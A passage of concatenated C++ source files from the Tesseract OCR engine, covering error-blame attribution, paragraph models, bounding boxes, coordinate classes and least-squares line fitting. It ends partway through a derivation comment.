if (best_choice_is_dict_and_top_choice_) {
debug_str = "Best choice is: incorrect, top choice, dictionary word";
debug_str += " with permuter ";
debug_str += word->best_choice->permuter_name();
} else {
debug_str = "Classifier/Old LM tradeoff is to blame";
}
SetBlame(best_choice_is_dict_and_top_choice_ ? IRR_CLASSIFIER
: IRR_CLASS_OLD_LM_TRADEOFF,
debug_str, word->best_choice, debug);
}
// Sets up the correct_segmentation_* to mark the correct bounding boxes.
void BlamerBundle::SetupCorrectSegmentation(const TWERD* word, bool debug) {
params_training_bundle_.StartHypothesisList();
if (incorrect_result_reason_ != IRR_CORRECT || !truth_has_char_boxes_)
return; // Nothing to do here.
STRING debug_str;
debug_str += "Blamer computing correct_segmentation_cols\n";
int curr_box_col = 0;
int next_box_col = 0;
int num_blobs = word->NumBlobs();
if (num_blobs == 0) return; // No blobs to play with.
int blob_index = 0;
inT16 next_box_x = word->blobs[blob_index]->bounding_box().right();
for (int truth_idx = 0; blob_index < num_blobs &&
truth_idx < norm_truth_word_.length();
++blob_index) {
++next_box_col;
inT16 curr_box_x = next_box_x;
if (blob_index + 1 < num_blobs)
next_box_x = word->blobs[blob_index + 1]->bounding_box().right();
inT16 truth_x = norm_truth_word_.BlobBox(truth_idx).right();
debug_str.add_str_int("Box x coord vs. truth: ", curr_box_x);
debug_str.add_str_int(" ", truth_x);
debug_str += "\n";
if (curr_box_x > (truth_x + norm_box_tolerance_)) {
break; // failed to find a matching box
} else if (curr_box_x >= truth_x - norm_box_tolerance_ && // matched
(blob_index + 1 >= num_blobs || // next box can't be included
next_box_x > truth_x + norm_box_tolerance_)) {
correct_segmentation_cols_.push_back(curr_box_col);
correct_segmentation_rows_.push_back(next_box_col-1);
++truth_idx;
debug_str.add_str_int("col=", curr_box_col);
debug_str.add_str_int(" row=", next_box_col-1);
debug_str += "\n";
curr_box_col = next_box_col;
}
}
if (blob_index < num_blobs || // trailing blobs
correct_segmentation_cols_.length() != norm_truth_word_.length()) {
debug_str.add_str_int("Blamer failed to find correct segmentation"
" (tolerance=", norm_box_tolerance_);
if (blob_index >= num_blobs) debug_str += " blob == NULL";
debug_str += ")\n";
debug_str.add_str_int(" path length ", correct_segmentation_cols_.length());
debug_str.add_str_int(" vs. truth ", norm_truth_word_.length());
debug_str += "\n";
SetBlame(IRR_UNKNOWN, debug_str, NULL, debug);
correct_segmentation_cols_.clear();
correct_segmentation_rows_.clear();
}
}
// Returns true if a guided segmentation search is needed.
bool BlamerBundle::GuidedSegsearchNeeded(const WERD_CHOICE *best_choice) const {
return incorrect_result_reason_ == IRR_CORRECT &&
!segsearch_is_looking_for_blame_ &&
truth_has_char_boxes_ &&
!ChoiceIsCorrect(best_choice);
}
// Setup ready to guide the segmentation search to the correct segmentation.
// The callback pp_cb is used to avoid a cyclic dependency.
// It calls into LMPainPoints::GenerateForBlamer by pre-binding the
// WERD_RES, and the LMPainPoints itself.
// pp_cb must be a permanent callback, and should be deleted by the caller.
void BlamerBundle::InitForSegSearch(const WERD_CHOICE *best_choice,
MATRIX* ratings, UNICHAR_ID wildcard_id,
bool debug, STRING *debug_str,
TessResultCallback2<bool, int, int>* cb) {
segsearch_is_looking_for_blame_ = true;
if (debug) {
tprintf("segsearch starting to look for blame\n");
}
// Fill pain points for any unclassifed blob corresponding to the
// correct segmentation state.
*debug_str += "Correct segmentation:\n";
for (int idx = 0; idx < correct_segmentation_cols_.length(); ++idx) {
debug_str->add_str_int("col=", correct_segmentation_cols_[idx]);
debug_str->add_str_int(" row=", correct_segmentation_rows_[idx]);
*debug_str += "\n";
if (!ratings->Classified(correct_segmentation_cols_[idx],
correct_segmentation_rows_[idx],
wildcard_id) &&
!cb->Run(correct_segmentation_cols_[idx],
correct_segmentation_rows_[idx])) {
segsearch_is_looking_for_blame_ = false;
*debug_str += "\nFailed to insert pain point\n";
SetBlame(IRR_SEGSEARCH_HEUR, *debug_str, best_choice, debug);
break;
}
} // end for blamer_bundle->correct_segmentation_cols/rows
}
// Returns true if the guided segsearch is in progress.
bool BlamerBundle::GuidedSegsearchStillGoing() const {
return segsearch_is_looking_for_blame_;
}
// The segmentation search has ended. Sets the blame appropriately.
void BlamerBundle::FinishSegSearch(const WERD_CHOICE *best_choice,
bool debug, STRING *debug_str) {
// If we are still looking for blame (i.e. best_choice is incorrect, but a
// path representing the correct segmentation could be constructed), we can
// blame segmentation search pain point prioritization if the rating of the
// path corresponding to the correct segmentation is better than that of
// best_choice (i.e. language model would have done the correct thing, but
// because of poor pain point prioritization the correct segmentation was
// never explored). Otherwise we blame the tradeoff between the language model
// and the classifier, since even after exploring the path corresponding to
// the correct segmentation incorrect best_choice would have been chosen.
// One special case when we blame the classifier instead is when best choice
// is incorrect, but it is a dictionary word and it classifier's top choice.
if (segsearch_is_looking_for_blame_) {
segsearch_is_looking_for_blame_ = false;
if (best_choice_is_dict_and_top_choice_) {
*debug_str = "Best choice is: incorrect, top choice, dictionary word";
*debug_str += " with permuter ";
*debug_str += best_choice->permuter_name();
SetBlame(IRR_CLASSIFIER, *debug_str, best_choice, debug);
} else if (best_correctly_segmented_rating_ <
best_choice->rating()) {
*debug_str += "Correct segmentation state was not explored";
SetBlame(IRR_SEGSEARCH_PP, *debug_str, best_choice, debug);
} else {
if (best_correctly_segmented_rating_ >=
WERD_CHOICE::kBadRating) {
*debug_str += "Correct segmentation paths were pruned by LM\n";
} else {
debug_str->add_str_double("Best correct segmentation rating ",
best_correctly_segmented_rating_);
debug_str->add_str_double(" vs. best choice rating ",
best_choice->rating());
}
SetBlame(IRR_CLASS_LM_TRADEOFF, *debug_str, best_choice, debug);
}
}
}
// If the bundle is null or still does not indicate the correct result,
// fix it and use some backup reason for the blame.
void BlamerBundle::LastChanceBlame(bool debug, WERD_RES* word) {
if (word->blamer_bundle == NULL) {
word->blamer_bundle = new BlamerBundle();
word->blamer_bundle->SetBlame(IRR_PAGE_LAYOUT, "LastChanceBlame",
word->best_choice, debug);
} else if (word->blamer_bundle->incorrect_result_reason_ == IRR_NO_TRUTH) {
word->blamer_bundle->SetBlame(IRR_NO_TRUTH, "Rejected truth",
word->best_choice, debug);
} else {
bool correct = word->blamer_bundle->ChoiceIsCorrect(word->best_choice);
IncorrectResultReason irr = word->blamer_bundle->incorrect_result_reason_;
if (irr == IRR_CORRECT && !correct) {
STRING debug_str = "Choice is incorrect after recognition";
word->blamer_bundle->SetBlame(IRR_UNKNOWN, debug_str, word->best_choice,
debug);
} else if (irr != IRR_CORRECT && correct) {
if (debug) {
tprintf("Corrected %s\n", word->blamer_bundle->debug_.string());
}
word->blamer_bundle->incorrect_result_reason_ = IRR_CORRECT;
word->blamer_bundle->debug_ = "";
}
}
}
// Sets the misadaption debug if this word is incorrect, as this word is
// being adapted to.
void BlamerBundle::SetMisAdaptionDebug(const WERD_CHOICE *best_choice,
bool debug) {
if (incorrect_result_reason_ != IRR_NO_TRUTH &&
!ChoiceIsCorrect(best_choice)) {
misadaption_debug_ ="misadapt to word (";
misadaption_debug_ += best_choice->permuter_name();
misadaption_debug_ += "): ";
FillDebugString("", best_choice, &misadaption_debug_);
if (debug) {
tprintf("%s\n", misadaption_debug_.string());
}
}
}
| C++ |
/////////////////////////////////////////////////////////////////////
// File: ocrpara.h
// Description: OCR Paragraph Output Type
// Author: David Eger
// Created: 2010-11-15
//
// (C) Copyright 2010, Google Inc.
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
///////////////////////////////////////////////////////////////////////
#ifndef TESSERACT_CCSTRUCT_OCRPARA_H_
#define TESSERACT_CCSTRUCT_OCRPARA_H_
#include "publictypes.h"
#include "elst.h"
#include "strngs.h"
class ParagraphModel;
struct PARA : public ELIST_LINK {
public:
PARA() : model(NULL), is_list_item(false),
is_very_first_or_continuation(false), has_drop_cap(false) {}
// We do not own the model, we just reference it.
// model may be NULL if there is not a good model for this paragraph.
const ParagraphModel *model;
bool is_list_item;
// The first paragraph on a page often lacks a first line indent, but should
// still be modeled by the same model as other body text paragraphs on the
// page.
bool is_very_first_or_continuation;
// Does this paragraph begin with a drop cap?
bool has_drop_cap;
};
ELISTIZEH(PARA)
// A geometric model of paragraph indentation and alignment.
//
// Measurements are in pixels. The meaning of the integer arguments changes
// depending upon the value of justification. Distances less than or equal
// to tolerance apart we take as "equivalent" for the purpose of model
// matching, and in the examples below, we assume tolerance is zero.
//
// justification = LEFT:
// margin the "ignored" margin to the left block edge.
// first_indent indent from the left margin to a typical first text line.
// body_indent indent from the left margin of a typical body text line.
//
// justification = RIGHT:
// margin the "ignored" margin to the right block edge.
// first_indent indent from the right margin to a typical first text line.
// body_indent indent from the right margin of a typical body text line.
//
// justification = CENTER:
// margin ignored
// first_indent ignored
// body_indent ignored
//
// ====== Extended example, assuming each letter is ten pixels wide: =======
//
// +--------------------------------+
// | Awesome | ParagraphModel(CENTER, 0, 0, 0)
// | Centered Title |
// | Paragraph Detection |
// | OCR TEAM |
// | 10 November 2010 |
// | |
// | Look here, I have a paragraph.| ParagraphModel(LEFT, 0, 20, 0)
// |This paragraph starts at the top|
// |of the page and takes 3 lines. |
// | Here I have a second paragraph| ParagraphModel(LEFT, 0, 20, 0)
// |which indicates that the first |
// |paragraph is not a continuation |
// |from a previous page, as it is |
// |indented just like this second |
// |paragraph. |
// | Here is a block quote. It | ParagraphModel(LEFT, 30, 0, 0)
// | looks like the prior text |
// | but it is indented more |
// | and is fully justified. |
// | So how does one deal with | ParagraphModel(LEFT, 0, 20, 0)
// |centered text, block quotes, |
// |normal paragraphs, and lists |
// |like what follows? |
// |1. Make a plan. | ParagraphModel(LEFT, 0, 0, 30)
// |2. Use a heuristic, for example,| ParagraphModel(LEFT, 0, 0, 30)
// | looking for lines where the |
// | first word of the next line |
// | would fit on the previous |
// | line. |
// |8. Try to implement the plan in | ParagraphModel(LEFT, 0, 0, 30)
// | Python and try it out. |
// |4. Determine how to fix the | ParagraphModel(LEFT, 0, 0, 30)
// | mistakes. |
// |5. Repeat. | ParagraphModel(LEFT, 0, 0, 30)
// | For extra painful penalty work| ParagraphModel(LEFT, 0, 20, 0)
// |you can try to identify source |
// |code. Ouch! |
// +--------------------------------+
class ParagraphModel {
public:
ParagraphModel(tesseract::ParagraphJustification justification,
int margin,
int first_indent,
int body_indent,
int tolerance)
: justification_(justification),
margin_(margin),
first_indent_(first_indent),
body_indent_(body_indent),
tolerance_(tolerance) {
// Make one of {first_indent, body_indent} is 0.
int added_margin = first_indent;
if (body_indent < added_margin)
added_margin = body_indent;
margin_ += added_margin;
first_indent_ -= added_margin;
body_indent_ -= added_margin;
}
ParagraphModel()
: justification_(tesseract::JUSTIFICATION_UNKNOWN),
margin_(0),
first_indent_(0),
body_indent_(0),
tolerance_(0) { }
// ValidFirstLine() and ValidBodyLine() take arguments describing a text line
// in a block of text which we are trying to model:
// lmargin, lindent: these add up to the distance from the leftmost ink
// in the text line to the surrounding text block's left
// edge.
// rmargin, rindent: these add up to the distance from the rightmost ink
// in the text line to the surrounding text block's right
// edge.
// The caller determines the division between "margin" and "indent", which
// only actually affect whether we think the line may be centered.
//
// If the amount of whitespace matches the amount of whitespace expected on
// the relevant side of the line (within tolerance_) we say it matches.
// Return whether a given text line could be a first paragraph line according
// to this paragraph model.
bool ValidFirstLine(int lmargin, int lindent, int rindent, int rmargin) const;
// Return whether a given text line could be a first paragraph line according
// to this paragraph model.
bool ValidBodyLine(int lmargin, int lindent, int rindent, int rmargin) const;
tesseract::ParagraphJustification justification() const {
return justification_;
}
int margin() const { return margin_; }
int first_indent() const { return first_indent_; }
int body_indent() const { return body_indent_; }
int tolerance() const { return tolerance_; }
bool is_flush() const {
return (justification_ == tesseract::JUSTIFICATION_LEFT ||
justification_ == tesseract::JUSTIFICATION_RIGHT) &&
abs(first_indent_ - body_indent_) <= tolerance_;
}
// Return whether this model is likely to agree with the other model on most
// paragraphs they are marked.
bool Comparable(const ParagraphModel &other) const;
STRING ToString() const;
private:
tesseract::ParagraphJustification justification_;
int margin_;
int first_indent_;
int body_indent_;
int tolerance_;
};
#endif // TESSERACT_CCSTRUCT_OCRPARA_H_
| C++ |
/**********************************************************************
* File: rect.c (Formerly box.c)
* Description: Bounding box class definition.
* Author: Phil Cheatle
* Created: Wed Oct 16 15:18:45 BST 1991
*
* (C) Copyright 1991, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#include "rect.h"
// Include automatically generated configuration file if running autoconf.
#ifdef HAVE_CONFIG_H
#include "config_auto.h"
#endif
/**********************************************************************
* TBOX::TBOX() Constructor from 2 ICOORDS
*
**********************************************************************/
TBOX::TBOX( //construtor
const ICOORD pt1, //one corner
const ICOORD pt2 //the other corner
) {
if (pt1.x () <= pt2.x ()) {
if (pt1.y () <= pt2.y ()) {
bot_left = pt1;
top_right = pt2;
}
else {
bot_left = ICOORD (pt1.x (), pt2.y ());
top_right = ICOORD (pt2.x (), pt1.y ());
}
}
else {
if (pt1.y () <= pt2.y ()) {
bot_left = ICOORD (pt2.x (), pt1.y ());
top_right = ICOORD (pt1.x (), pt2.y ());
}
else {
bot_left = pt2;
top_right = pt1;
}
}
}
/**********************************************************************
* TBOX::TBOX() Constructor from 4 integer values.
* Note: It is caller's responsibility to provide values in the right
* order.
**********************************************************************/
TBOX::TBOX( //constructor
inT16 left, inT16 bottom, inT16 right, inT16 top)
: bot_left(left, bottom), top_right(right, top) {
}
// rotate_large constructs the containing bounding box of all 4
// corners after rotating them. It therefore guarantees that all
// original content is contained within, but also slightly enlarges the box.
void TBOX::rotate_large(const FCOORD& vec) {
ICOORD top_left(bot_left.x(), top_right.y());
ICOORD bottom_right(top_right.x(), bot_left.y());
top_left.rotate(vec);
bottom_right.rotate(vec);
rotate(vec);
TBOX box2(top_left, bottom_right);
*this += box2;
}
/**********************************************************************
* TBOX::intersection() Build the largest box contained in both boxes
*
**********************************************************************/
TBOX TBOX::intersection( //shared area box
const TBOX &box) const {
inT16 left;
inT16 bottom;
inT16 right;
inT16 top;
if (overlap (box)) {
if (box.bot_left.x () > bot_left.x ())
left = box.bot_left.x ();
else
left = bot_left.x ();
if (box.top_right.x () < top_right.x ())
right = box.top_right.x ();
else
right = top_right.x ();
if (box.bot_left.y () > bot_left.y ())
bottom = box.bot_left.y ();
else
bottom = bot_left.y ();
if (box.top_right.y () < top_right.y ())
top = box.top_right.y ();
else
top = top_right.y ();
}
else {
left = MAX_INT16;
bottom = MAX_INT16;
top = -MAX_INT16;
right = -MAX_INT16;
}
return TBOX (left, bottom, right, top);
}
/**********************************************************************
* TBOX::bounding_union() Build the smallest box containing both boxes
*
**********************************************************************/
TBOX TBOX::bounding_union( //box enclosing both
const TBOX &box) const {
ICOORD bl; //bottom left
ICOORD tr; //top right
if (box.bot_left.x () < bot_left.x ())
bl.set_x (box.bot_left.x ());
else
bl.set_x (bot_left.x ());
if (box.top_right.x () > top_right.x ())
tr.set_x (box.top_right.x ());
else
tr.set_x (top_right.x ());
if (box.bot_left.y () < bot_left.y ())
bl.set_y (box.bot_left.y ());
else
bl.set_y (bot_left.y ());
if (box.top_right.y () > top_right.y ())
tr.set_y (box.top_right.y ());
else
tr.set_y (top_right.y ());
return TBOX (bl, tr);
}
/**********************************************************************
* TBOX::plot() Paint a box using specified settings
*
**********************************************************************/
#ifndef GRAPHICS_DISABLED
void TBOX::plot( //paint box
ScrollView* fd, //where to paint
ScrollView::Color fill_colour, //colour for inside
ScrollView::Color border_colour //colour for border
) const {
fd->Brush(fill_colour);
fd->Pen(border_colour);
plot(fd);
}
#endif
// Appends the bounding box as (%d,%d)->(%d,%d) to a STRING.
void TBOX::print_to_str(STRING *str) const {
// "(%d,%d)->(%d,%d)", left(), bottom(), right(), top()
str->add_str_int("(", left());
str->add_str_int(",", bottom());
str->add_str_int(")->(", right());
str->add_str_int(",", top());
*str += ')';
}
// Writes to the given file. Returns false in case of error.
bool TBOX::Serialize(FILE* fp) const {
if (!bot_left.Serialize(fp)) return false;
if (!top_right.Serialize(fp)) return false;
return true;
}
// Reads from the given file. Returns false in case of error.
// If swap is true, assumes a big/little-endian swap is needed.
bool TBOX::DeSerialize(bool swap, FILE* fp) {
if (!bot_left.DeSerialize(swap, fp)) return false;
if (!top_right.DeSerialize(swap, fp)) return false;
return true;
}
/**********************************************************************
* operator+=
*
* Extend one box to include the other (In place union)
**********************************************************************/
DLLSYM TBOX &
operator+= ( //bounding bounding bx
TBOX & op1, //operands
const TBOX & op2) {
if (op2.bot_left.x () < op1.bot_left.x ())
op1.bot_left.set_x (op2.bot_left.x ());
if (op2.top_right.x () > op1.top_right.x ())
op1.top_right.set_x (op2.top_right.x ());
if (op2.bot_left.y () < op1.bot_left.y ())
op1.bot_left.set_y (op2.bot_left.y ());
if (op2.top_right.y () > op1.top_right.y ())
op1.top_right.set_y (op2.top_right.y ());
return op1;
}
/**********************************************************************
* operator&=
*
* Reduce one box to intersection with the other (In place intersection)
**********************************************************************/
TBOX& operator&=(TBOX& op1, const TBOX& op2) {
if (op1.overlap (op2)) {
if (op2.bot_left.x () > op1.bot_left.x ())
op1.bot_left.set_x (op2.bot_left.x ());
if (op2.top_right.x () < op1.top_right.x ())
op1.top_right.set_x (op2.top_right.x ());
if (op2.bot_left.y () > op1.bot_left.y ())
op1.bot_left.set_y (op2.bot_left.y ());
if (op2.top_right.y () < op1.top_right.y ())
op1.top_right.set_y (op2.top_right.y ());
}
else {
op1.bot_left.set_x (MAX_INT16);
op1.bot_left.set_y (MAX_INT16);
op1.top_right.set_x (-MAX_INT16);
op1.top_right.set_y (-MAX_INT16);
}
return op1;
}
bool TBOX::x_almost_equal(const TBOX &box, int tolerance) const {
return (abs(left() - box.left()) <= tolerance &&
abs(right() - box.right()) <= tolerance);
}
bool TBOX::almost_equal(const TBOX &box, int tolerance) const {
return (abs(left() - box.left()) <= tolerance &&
abs(right() - box.right()) <= tolerance &&
abs(top() - box.top()) <= tolerance &&
abs(bottom() - box.bottom()) <= tolerance);
}
| C++ |
/**********************************************************************
* File: points.c (Formerly coords.c)
* Description: Member functions for coordinate classes.
* Author: Ray Smith
* Created: Fri Mar 15 08:58:17 GMT 1991
*
* (C) Copyright 1991, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#ifdef _MSC_VER
#define _USE_MATH_DEFINES
#endif // _MSC_VER
#include <stdlib.h>
#include "helpers.h"
#include "ndminx.h"
#include "serialis.h"
#include "points.h"
ELISTIZE (ICOORDELT) //turn to list
bool FCOORD::normalise() { //Convert to unit vec
float len = length ();
if (len < 0.0000000001) {
return false;
}
xcoord /= len;
ycoord /= len;
return true;
}
// Set from the given x,y, shrinking the vector to fit if needed.
void ICOORD::set_with_shrink(int x, int y) {
// Fit the vector into an ICOORD, which is 16 bit.
int factor = 1;
int max_extent = MAX(abs(x), abs(y));
if (max_extent > MAX_INT16)
factor = max_extent / MAX_INT16 + 1;
xcoord = x / factor;
ycoord = y / factor;
}
// The fortran/basic sgn function returns -1, 0, 1 if x < 0, x == 0, x > 0
// respectively.
static int sign(int x) {
if (x < 0)
return -1;
else
return x > 0 ? 1 : 0;
}
// Writes to the given file. Returns false in case of error.
bool ICOORD::Serialize(FILE* fp) const {
if (fwrite(&xcoord, sizeof(xcoord), 1, fp) != 1) return false;
if (fwrite(&ycoord, sizeof(ycoord), 1, fp) != 1) return false;
return true;
}
// Reads from the given file. Returns false in case of error.
// If swap is true, assumes a big/little-endian swap is needed.
bool ICOORD::DeSerialize(bool swap, FILE* fp) {
if (fread(&xcoord, sizeof(xcoord), 1, fp) != 1) return false;
if (fread(&ycoord, sizeof(ycoord), 1, fp) != 1) return false;
if (swap) {
ReverseN(&xcoord, sizeof(xcoord));
ReverseN(&ycoord, sizeof(ycoord));
}
return true;
}
// Setup for iterating over the pixels in a vector by the well-known
// Bresenham rendering algorithm.
// Starting with major/2 in the accumulator, on each step add major_step,
// and then add minor to the accumulator. When the accumulator >= major
// subtract major and step a minor step.
void ICOORD::setup_render(ICOORD* major_step, ICOORD* minor_step,
int* major, int* minor) const {
int abs_x = abs(xcoord);
int abs_y = abs(ycoord);
if (abs_x >= abs_y) {
// X-direction is major.
major_step->xcoord = sign(xcoord);
major_step->ycoord = 0;
minor_step->xcoord = 0;
minor_step->ycoord = sign(ycoord);
*major = abs_x;
*minor = abs_y;
} else {
// Y-direction is major.
major_step->xcoord = 0;
major_step->ycoord = sign(ycoord);
minor_step->xcoord = sign(xcoord);
minor_step->ycoord = 0;
*major = abs_y;
*minor = abs_x;
}
}
// Returns the standard feature direction corresponding to this.
// See binary_angle_plus_pi below for a description of the direction.
uinT8 FCOORD::to_direction() const {
return binary_angle_plus_pi(angle());
}
// Sets this with a unit vector in the given standard feature direction.
void FCOORD::from_direction(uinT8 direction) {
double radians = angle_from_direction(direction);
xcoord = cos(radians);
ycoord = sin(radians);
}
// Converts an angle in radians (from ICOORD::angle or FCOORD::angle) to a
// standard feature direction as an unsigned angle in 256ths of a circle
// measured anticlockwise from (-1, 0).
uinT8 FCOORD::binary_angle_plus_pi(double radians) {
return Modulo(IntCastRounded((radians + M_PI) * 128.0 / M_PI), 256);
}
// Inverse of binary_angle_plus_pi returns an angle in radians for the
// given standard feature direction.
double FCOORD::angle_from_direction(uinT8 direction) {
return direction * M_PI / 128.0 - M_PI;
}
// Returns the point on the given line nearest to this, ie the point such
// that the vector point->this is perpendicular to the line.
// The line is defined as a line_point and a dir_vector for its direction.
FCOORD FCOORD::nearest_pt_on_line(const FCOORD& line_point,
const FCOORD& dir_vector) const {
FCOORD point_vector(*this - line_point);
// The dot product (%) is |dir_vector||point_vector|cos theta, so dividing by
// the square of the length of dir_vector gives us the fraction of dir_vector
// to add to line1 to get the appropriate point, so
// result = line1 + lambda dir_vector.
double lambda = point_vector % dir_vector / dir_vector.sqlength();
return line_point + (dir_vector * lambda);
}
| C++ |
/**********************************************************************
* File: linlsq.cpp (Formerly llsq.c)
* Description: Linear Least squares fitting code.
* Author: Ray Smith
* Created: Thu Sep 12 08:44:51 BST 1991
*
* (C) Copyright 1991, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#include <stdio.h>
#include <math.h>
#include "errcode.h"
#include "linlsq.h"
const ERRCODE EMPTY_LLSQ = "Can't delete from an empty LLSQ";
/**********************************************************************
* LLSQ::clear
*
* Function to initialize a LLSQ.
**********************************************************************/
void LLSQ::clear() { // initialize
total_weight = 0.0; // no elements
sigx = 0.0; // update accumulators
sigy = 0.0;
sigxx = 0.0;
sigxy = 0.0;
sigyy = 0.0;
}
/**********************************************************************
* LLSQ::add
*
* Add an element to the accumulator.
**********************************************************************/
void LLSQ::add(double x, double y) { // add an element
total_weight++; // count elements
sigx += x; // update accumulators
sigy += y;
sigxx += x * x;
sigxy += x * y;
sigyy += y * y;
}
// Adds an element with a specified weight.
void LLSQ::add(double x, double y, double weight) {
total_weight += weight;
sigx += x * weight; // update accumulators
sigy += y * weight;
sigxx += x * x * weight;
sigxy += x * y * weight;
sigyy += y * y * weight;
}
// Adds a whole LLSQ.
void LLSQ::add(const LLSQ& other) {
total_weight += other.total_weight;
sigx += other.sigx; // update accumulators
sigy += other.sigy;
sigxx += other.sigxx;
sigxy += other.sigxy;
sigyy += other.sigyy;
}
/**********************************************************************
* LLSQ::remove
*
* Delete an element from the acculuator.
**********************************************************************/
void LLSQ::remove(double x, double y) { // delete an element
if (total_weight <= 0.0) // illegal
EMPTY_LLSQ.error("LLSQ::remove", ABORT, NULL);
total_weight--; // count elements
sigx -= x; // update accumulators
sigy -= y;
sigxx -= x * x;
sigxy -= x * y;
sigyy -= y * y;
}
/**********************************************************************
* LLSQ::m
*
* Return the gradient of the line fit.
**********************************************************************/
double LLSQ::m() const { // get gradient
double covar = covariance();
double x_var = x_variance();
if (x_var != 0.0)
return covar / x_var;
else
return 0.0; // too little
}
/**********************************************************************
* LLSQ::c
*
* Return the constant of the line fit.
**********************************************************************/
double LLSQ::c(double m) const { // get constant
if (total_weight > 0.0)
return (sigy - m * sigx) / total_weight;
else
return 0; // too little
}
/**********************************************************************
* LLSQ::rms
*
* Return the rms error of the fit.
**********************************************************************/
double LLSQ::rms(double m, double c) const { // get error
double error; // total error
if (total_weight > 0) {
error = sigyy + m * (m * sigxx + 2 * (c * sigx - sigxy)) + c *
(total_weight * c - 2 * sigy);
if (error >= 0)
error = sqrt(error / total_weight); // sqrt of mean
else
error = 0;
} else {
error = 0; // too little
}
return error;
}
/**********************************************************************
* LLSQ::pearson
*
* Return the pearson product moment correlation coefficient.
**********************************************************************/
double LLSQ::pearson() const { // get correlation
double r = 0.0; // Correlation is 0 if insufficent data.
double covar = covariance();
if (covar != 0.0) {
double var_product = x_variance() * y_variance();
if (var_product > 0.0)
r = covar / sqrt(var_product);
}
return r;
}
// Returns the x,y means as an FCOORD.
FCOORD LLSQ::mean_point() const {
if (total_weight > 0.0) {
return FCOORD(sigx / total_weight, sigy / total_weight);
} else {
return FCOORD(0.0f, 0.0f);
}
}
// Returns the sqrt of the mean squared error measured perpendicular from the
// line through mean_point() in the direction dir.
//
// Derivation:
// Lemma: Let v and x_i (i=1..N) be a k-dimensional vectors (1xk matrices).
// Let % be dot product and ' be transpose. Note that:
// Sum[i=1..N] (v % x_i)^2
// = v * [x_1' x_2' ... x_N'] * [x_1' x_2' .. x_N']' * v'
// If x_i have average 0 we have:
// = v * (N * COVARIANCE_MATRIX(X)) * v'
// Expanded for the case that k = 2, where we treat the dimensions
// as x_i and y_i, this is:
// = v * (N * [VAR(X), COV(X,Y); COV(X,Y) VAR(Y)]) * v'
// Now, we are trying to calculate the mean squared error, where v is
// perpendicular to our line of interest:
// Mean squared error
// = E [ (v % (x_i - x_avg))) ^2 ]
// = Sum (v % (x_i - x_avg))^2 / N
// = v * N * [VAR(X) COV(X,Y); COV(X,Y) VAR(Y)] / N * v'
// = v * [VAR(X) COV(X,Y); COV(X,Y) VAR(Y)] * v'
// = code below
double LLSQ::rms_orth(const FCOORD &dir) const {
FCOORD v = !dir;
v.normalise();
return sqrt(v.x() * v.x() * x_variance() +
2 * v.x() * v.y() * covariance() +
v.y() * v.y() * y_variance());
}
// Returns the direction of the fitted line as a unit vector, using the
// least mean squared perpendicular distance. The line runs through the
// mean_point, i.e. a point p on the line is given by:
// p = mean_point() + lambda * vector_fit() for some real number lambda.
// Note that the result (0<=x<=1, -1<=y<=-1) is directionally ambiguous
// and may be negated without changing its meaning.
// Fitting a line m + 𝜆v to a set of N points Pi = (xi, yi), where
// m is the mean point (𝝁, 𝝂) and
// v is the direction vector (cos𝜃, sin𝜃)
// The perpendicular distance of each Pi from the line is:
// (Pi - m) x v, where x is the scalar cross product.
// Total squared error is thus:
// E = ∑((xi - 𝝁)sin𝜃 - (yi - 𝝂)cos𝜃)²
// = ∑(xi - 𝝁)²sin²𝜃 - 2∑(xi - 𝝁)(yi - 𝝂)sin𝜃 cos𝜃 + ∑(yi - 𝝂)²cos²𝜃
// = NVar(xi)sin²𝜃 - 2NCovar(xi, yi)sin𝜃 cos𝜃 + NVar(yi)cos²𝜃 (Eq 1)
// where Var(xi) is the variance of xi,
// and Covar(xi, yi) is the covariance of xi, yi.
// Taking the derivative wrt 𝜃 and setting to 0 to obtain the min/max:
// 0 = 2NVar(xi)sin𝜃 cos𝜃 -2NCovar(xi, yi)(cos²𝜃 - sin²𝜃) -2NVar(yi)sin𝜃 cos𝜃
// => Covar(xi, yi)(cos²𝜃 - sin²𝜃) = (Var(xi) - Var(yi))sin𝜃 cos𝜃
// Using double angles:
// 2Covar(xi, yi)cos2𝜃 = (Var(xi) - Var(yi))sin2𝜃 (Eq 2)
// So 𝜃 = 0.5 atan2(2Covar(xi, yi), Var(xi) - Var(yi)) (Eq 3)
// Because it involves 2𝜃 , Eq 2 has 2 solutions 90 degrees apart, but which
// is the min and which is the max? From Eq1:
// E/N = Var(xi)sin²𝜃 - 2Covar(xi, yi)sin𝜃 cos𝜃 + Var(yi)cos²𝜃
// and 90 degrees away, using sin/cos equivalences:
// E'/N = Var(xi)cos²𝜃 + 2Covar(xi, yi)sin𝜃 cos𝜃 + Var(yi)sin²𝜃
// The second error is smaller (making it the minimum) iff
// E'/N < E/N ie:
// (Var(xi) - Var(yi))(cos²𝜃 - sin²𝜃) < -4Covar(xi, yi)sin𝜃 cos𝜃
// Using double angles:
